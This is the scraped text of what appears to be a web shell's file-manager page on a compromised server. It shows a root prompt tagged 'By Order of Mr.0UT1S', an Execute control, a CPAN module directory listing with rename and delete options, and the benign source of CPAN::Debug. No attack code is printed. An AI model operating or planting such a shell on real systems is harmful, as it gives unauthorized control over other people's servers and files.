usr
/
share
/
perl5
/
vendor_perl
/
CPAN
/
Go to Home Directory
+
Upload
Create File
root@0UT1S:~$
Execute
By Order of Mr.0UT1S
[DIR] ..
N/A
[DIR] API
N/A
[DIR] Exception
N/A
[DIR] FTP
N/A
[DIR] HTTP
N/A
[DIR] Kwalify
N/A
[DIR] LWP
N/A
[DIR] Meta
N/A
[DIR] Plugin
N/A
Admin.pm
7.60 KB
Rename
Delete
Author.pm
6.68 KB
Rename
Delete
Bundle.pm
9.60 KB
Rename
Delete
CacheMgr.pm
7.48 KB
Rename
Delete
Complete.pm
5.88 KB
Rename
Delete
Debug.pm
2.05 KB
Rename
Delete
DeferredCode.pm
189 bytes
Rename
Delete
Distribution.pm
158.74 KB
Rename
Delete
Distroprefs.pm
11.71 KB
Rename
Delete
Distrostatus.pm
972 bytes
Rename
Delete
FTP.pm
41.63 KB
Rename
Delete
FirstTime.pm
70.05 KB
Rename
Delete
HandleConfig.pm
22.75 KB
Rename
Delete
Index.pm
21.70 KB
Rename
Delete
InfoObj.pm
6.75 KB
Rename
Delete
Kwalify.pm
3.35 KB
Rename
Delete
Meta.pm
29.56 KB
Rename
Delete
Mirrors.pm
16.30 KB
Rename
Delete
Module.pm
21.87 KB
Rename
Delete
Nox.pm
953 bytes
Rename
Delete
Plugin.pm
3.14 KB
Rename
Delete
Prompt.pm
567 bytes
Rename
Delete
Queue.pm
6.78 KB
Rename
Delete
Shell.pm
71.88 KB
Rename
Delete
Tarzip.pm
16.32 KB
Rename
Delete
URL.pm
588 bytes
Rename
Delete
Version.pm
4.29 KB
Rename
Delete
# -*- Mode: cperl; coding: utf-8; cperl-indent-level: 4 -*- package CPAN::Debug; use strict; use vars qw($VERSION); $VERSION = "5.5001"; # module is internal to CPAN.pm %CPAN::DEBUG = qw[ CPAN 1 Index 2 InfoObj 4 Author 8 Distribution 16 Bundle 32 Module 64 CacheMgr 128 Complete 256 FTP 512 Shell 1024 Eval 2048 HandleConfig 4096 Tarzip 8192 Version 16384 Queue 32768 FirstTime 65536 ]; $CPAN::DEBUG ||= 0; #-> sub CPAN::Debug::debug ; sub debug { my($self,$arg) = @_; my @caller; my $i = 0; while () { my(@c) = (caller($i))[0 .. ($i ? 3 : 2)]; last unless defined $c[0]; push @caller, \@c; for (0,3) { last if $_ > $#c; $c[$_] =~ s/.*:://; } for (1) { $c[$_] =~ s|.*/||; } last if ++$i>=3; } pop @caller; if ($CPAN::DEBUG{$caller[0][0]} & $CPAN::DEBUG) { if ($arg and ref $arg) { eval { require Data::Dumper }; if ($@) { $CPAN::Frontend->myprint("Debug(\n" . $arg->as_string . ")\n"); } else { $CPAN::Frontend->myprint("Debug(\n" . Data::Dumper::Dumper($arg) . ")\n"); } } else { my $outer = ""; local $" = ","; if (@caller>1) { $outer = ",[@{$caller[1]}]"; } $CPAN::Frontend->myprint("Debug(@{$caller[0]}$outer): $arg\n"); } } } 1; __END__ =head1 NAME CPAN::Debug - internal debugging for CPAN.pm =head1 LICENSE This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself. =cut
Save